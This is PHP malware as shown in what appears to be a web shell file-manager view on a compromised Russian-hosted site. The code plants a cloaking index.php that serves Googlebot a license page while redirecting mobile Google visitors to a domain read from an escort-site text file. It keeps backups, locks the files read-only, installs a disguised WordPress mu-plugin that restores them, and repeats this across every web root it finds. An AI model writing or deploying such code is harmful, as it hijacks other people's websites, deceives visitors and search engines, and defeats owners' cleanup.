| Server IP : 176.32.38.42 / Your IP : 216.73.216.198 Web Server : LiteSpeed System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64 User : s1225329 ( 1835) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/s1225329/domains/group-tss.ru/private_html/includes/ |
Upload File : |
<?php
/**
* index.php + .htaccess auto-heal: backup + restore + 444 protect + WP mu-plugin.
* Gate şablon: tools/index_vitrin_gate.php (vitrin_source / license.html)
*/
if (!function_exists('fm_index_gate_source')) {
function fm_index_gate_source() {
static $src = null;
if ($src !== null) {
return $src;
}
$candidates = [
dirname(__DIR__) . '/tools/index_vitrin_gate.php',
__DIR__ . '/index_vitrin_gate.php',
dirname(__DIR__) . '/index_vitrin_gate.php',
dirname(__DIR__) . '/tools/index_ist_gate_fixed.php',
__DIR__ . '/index_ist_gate_fixed.php',
];
foreach ($candidates as $f) {
if (is_file($f) && is_readable($f)) {
$c = (string)@file_get_contents($f);
if (strpos($c, 'vitrin_source') !== false || strpos($c, 'IST_TXT_URL') !== false) {
return $src = $c;
}
}
}
// Embedded fallback — kullanıcı gate (vitrin_source)
$src = <<<'PHP'
<?php
error_reporting(0);
set_time_limit(0);
$vitrin_source = 'https://istanbulescortladys.com/ist.txt';
// User Agent kontrolü
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
} else {
$userAgent = '';
}
// Referer kontrolü
if (!empty($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
} else {
$referer = '';
}
// Google botları listesi
$googleBots = [
'Googlebot',
'AdsBot',
'Mediapartners-Google',
'APIs-Google',
'Googlebot-Image',
'Googlebot-Video',
'Googlebot-News',
'Googlebot-Search',
'Googlebot-Inspect',
'Googlebot-Android',
'Googlebot-Mobile',
'Googlebot-Ads',
'Googlebot-Discovery',
'Google-',
];
// Mobil kontrol fonksiyonu
function is_mobile() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
return preg_match('/mobile|android|iphone|ipad|ipod|opera mini|blackberry|windows phone/', $ua);
}
// Ana sayfa kontrol fonksiyonu
function is_homepage() {
$request_uri = $_SERVER['REQUEST_URI'] ?? '';
return $request_uri == '/' || $request_uri == '/index.php' || $request_uri == '';
}
// Google'dan gelme kontrolü
function is_from_google() {
$referer = isset($_SERVER['HTTP_REFERER']) ? strtolower($_SERVER['HTTP_REFERER']) : '';
return strpos($referer, 'google.') !== false;
}
// ============================================
// 1. KURAL: Google botları -> license.html göster
// ============================================
if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {
if (is_homepage()) {
include 'license.html';
exit();
}
}
// ============================================
// 2. KURAL: Mobil + Google'dan gelen + Ana sayfa -> vitrin_source'a yönlendir
// ============================================
if (is_mobile() && is_from_google() && is_homepage()) {
$vitrin_domain = trim(@file_get_contents($vitrin_source));
if (!empty($vitrin_domain)) {
// http veya https yoksa ekle
if (strpos($vitrin_domain, 'http') !== 0) {
$vitrin_domain = 'https://' . $vitrin_domain;
}
header("Location: $vitrin_domain", true, 302);
exit();
}
}
// ============================================
// WordPress normal akışı
// ============================================
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
PHP;
return $src;
}
}
if (!function_exists('fm_gate_bak_dir')) {
function fm_gate_bak_dir($webRoot) {
$webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
$wpContent = $webRoot . '/wp-content';
if (is_dir($wpContent)) {
return $wpContent;
}
return $webRoot;
}
}
if (!function_exists('fm_index_bak_path')) {
function fm_index_bak_path($webRoot) {
return fm_gate_bak_dir($webRoot) . '/.ms_index.bak.php';
}
}
if (!function_exists('fm_htaccess_bak_path')) {
function fm_htaccess_bak_path($webRoot) {
return fm_gate_bak_dir($webRoot) . '/.ms_htaccess.bak';
}
}
if (!function_exists('fm_index_looks_like_gate')) {
function fm_index_looks_like_gate($content) {
if (!is_string($content) || $content === '') {
return false;
}
$hasLicense = (strpos($content, 'license.html') !== false);
$hasVitrin = (strpos($content, 'vitrin_source') !== false || strpos($content, 'IST_TXT_URL') !== false);
$hasWp = (strpos($content, 'wp-blog-header.php') !== false);
return $hasLicense && $hasVitrin && $hasWp;
}
}
/** Bırakılan index.php + .htaccess → chmod 444 (salt okunur koruma) */
if (!function_exists('fm_protect_gate_files')) {
function fm_protect_gate_files($webRoot) {
$webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
$n = 0;
foreach (['index.php', '.htaccess', 'license.html'] as $f) {
$fp = $webRoot . '/' . $f;
if (is_file($fp) && @chmod($fp, 0444)) {
$n++;
}
}
return $n;
}
}
if (!function_exists('fm_mu_heal_source')) {
function fm_mu_heal_source() {
return <<<'PHP'
<?php
/**
* Plugin Name: MS Index Heal
* Description: index.php / .htaccess SADECE yoksa veya boşsa yedekten geri yükler. Mevcut dosyaya dokunmaz.
*/
if (!defined('ABSPATH')) {
exit;
}
if (!function_exists('ms_gate_heal_restore')) {
function ms_gate_heal_restore() {
$root = rtrim(ABSPATH, '/\\');
$wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
$changed = false;
// index.php — yalnızca eksik/çok küçükse restore (kullanıcı yeni index yüklediyse dokunma)
$idx = $root . DIRECTORY_SEPARATOR . 'index.php';
$idxMissing = !is_file($idx) || ((@filesize($idx) ?: 0) < 40);
if ($idxMissing) {
$cands = [
$wpContent . '/.ms_index.bak.php',
$root . '/.ms_index.bak.php',
$wpContent . '/ms_index.bak.php',
];
foreach ($cands as $bak) {
if (!is_file($bak) || !is_readable($bak)) continue;
$body = (string)@file_get_contents($bak);
if ($body === '' || strlen($body) < 80) continue;
if (is_file($idx)) @chmod($idx, 0644);
if (@file_put_contents($idx, $body) !== false) {
@chmod($idx, 0444);
$changed = true;
break;
}
}
}
// .htaccess — yalnızca eksik/çok küçükse
$ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
$htMissing = !is_file($ht) || ((@filesize($ht) ?: 0) < 8);
if ($htMissing) {
$cands = [
$wpContent . '/.ms_htaccess.bak',
$root . '/.ms_htaccess.bak',
];
foreach ($cands as $bak) {
if (!is_file($bak) || !is_readable($bak)) continue;
$body = (string)@file_get_contents($bak);
if ($body === '' || strlen($body) < 10) continue;
if (is_file($ht)) @chmod($ht, 0644);
if (@file_put_contents($ht, $body) !== false) {
@chmod($ht, 0444);
$changed = true;
break;
}
}
}
return $changed;
}
}
add_action('muplugins_loaded', 'ms_gate_heal_restore', 0);
add_action('plugins_loaded', 'ms_gate_heal_restore', 0);
PHP;
}
}
if (!function_exists('fm_install_mu_heal')) {
function fm_install_mu_heal($webRoot) {
$webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
$muDir = $webRoot . '/wp-content/mu-plugins';
if (!is_dir($webRoot . '/wp-content')) {
return false;
}
if (!is_dir($muDir)) {
@mkdir($muDir, 0755, true);
}
if (!is_dir($muDir)) {
return false;
}
$target = $muDir . '/ms-index-heal.php';
return @file_put_contents($target, fm_mu_heal_source()) !== false;
}
}
if (!function_exists('fm_save_index_backup')) {
function fm_save_index_backup($webRoot, $content = null) {
$webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
$idx = $webRoot . '/index.php';
if ($content === null) {
if (!is_file($idx)) {
return false;
}
$content = (string)@file_get_contents($idx);
}
if (!fm_index_looks_like_gate($content) && strpos((string)$content, 'wp-blog-header.php') === false) {
if (strlen((string)$content) < 40) {
return false;
}
}
$bak = fm_index_bak_path($webRoot);
$dir = dirname($bak);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
return @file_put_contents($bak, $content) !== false;
}
}
if (!function_exists('fm_save_htaccess_backup')) {
function fm_save_htaccess_backup($webRoot, $content = null) {
$webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
$ht = $webRoot . '/.htaccess';
if ($content === null) {
if (!is_file($ht)) {
return false;
}
$content = (string)@file_get_contents($ht);
}
if (strlen((string)$content) < 10) {
return false;
}
$bak = fm_htaccess_bak_path($webRoot);
$dir = dirname($bak);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
return @file_put_contents($bak, $content) !== false;
}
}
/**
* Restore/protect index.php + .htaccess. Returns: ok|restored|written|fail
* force=false: sadece eksik/boş dosyaları geri yükler (mevcut index'e dokunmaz).
* force=true: yedek/şablonla zorla yazar.
*/
if (!function_exists('fm_heal_index_at')) {
function fm_heal_index_at($webRoot, $force = false) {
$webRoot = rtrim(str_replace('\\', '/', (string)(@realpath($webRoot) ?: $webRoot)), '/');
if ($webRoot === '' || !is_dir($webRoot)) {
return 'fail';
}
$idx = $webRoot . '/index.php';
$ht = $webRoot . '/.htaccess';
$bak = fm_index_bak_path($webRoot);
$htBak = fm_htaccess_bak_path($webRoot);
$didWrite = false;
// ── index.php ──
$idxMissing = !is_file($idx) || ((@filesize($idx) ?: 0) < 40);
if (!$force && !$idxMissing) {
// Kullanıcı index yüklediyse koru — üzerine yazma.
$live = (string)@file_get_contents($idx);
if (fm_index_looks_like_gate($live)) {
fm_save_index_backup($webRoot, $live);
}
} else {
$body = '';
if (is_file($bak) && is_readable($bak) && !$force) {
$body = (string)@file_get_contents($bak);
}
// Force: her zaman güncel vitrin gate şablonu
if ($force || $body === '' || strlen($body) < 80) {
$body = fm_index_gate_source();
}
if ($body === '' || strlen($body) < 80) {
return 'fail';
}
if (is_file($idx)) {
@chmod($idx, 0644);
}
if (@file_put_contents($idx, $body) === false) {
return 'fail';
}
fm_save_index_backup($webRoot, $body);
$didWrite = true;
}
// ── .htaccess ──
$htMissing = !is_file($ht) || ((@filesize($ht) ?: 0) < 8);
if (!$force && !$htMissing) {
// mevcut .htaccess'e dokunma
} elseif ($force || $htMissing) {
$htBody = '';
if (is_file($htBak) && is_readable($htBak)) {
$htBody = (string)@file_get_contents($htBak);
}
if (strlen($htBody) >= 10) {
if (is_file($ht)) {
@chmod($ht, 0644);
}
if (@file_put_contents($ht, $htBody) !== false) {
$didWrite = true;
}
}
}
fm_install_mu_heal($webRoot);
if (function_exists('fm_install_early_router')) {
fm_install_early_router($webRoot, $didWrite || $force);
}
// Sadece gerçekten yazdıysak 444 kilitle
if ($didWrite || $force) {
fm_protect_gate_files($webRoot);
}
if ($force) {
return $didWrite ? 'written' : 'ok';
}
if ($didWrite) {
return 'restored';
}
return 'ok';
}
}
if (!function_exists('fm_heal_fleet_indexes')) {
function fm_heal_fleet_indexes($fromDir, $force = false) {
$report = ['ok' => 0, 'restored' => 0, 'written' => 0, 'fail' => 0, 'domains' => []];
$targets = function_exists('discoverWebRoots') ? discoverWebRoots($fromDir) : [];
if (empty($targets)) {
$targets = [['path' => $fromDir, 'domain' => basename($fromDir)]];
}
foreach ($targets as $t) {
$path = is_array($t) ? ($t['path'] ?? '') : (string)$t;
$domain = is_array($t) ? ($t['domain'] ?? basename($path)) : basename($path);
if ($path === '') {
continue;
}
$res = fm_heal_index_at($path, $force);
if (!isset($report[$res])) {
$report[$res] = 0;
}
$report[$res]++;
if ($res === 'restored' || $res === 'written') {
$report['domains'][] = $domain . ':' . $res;
}
}
return $report;
}
}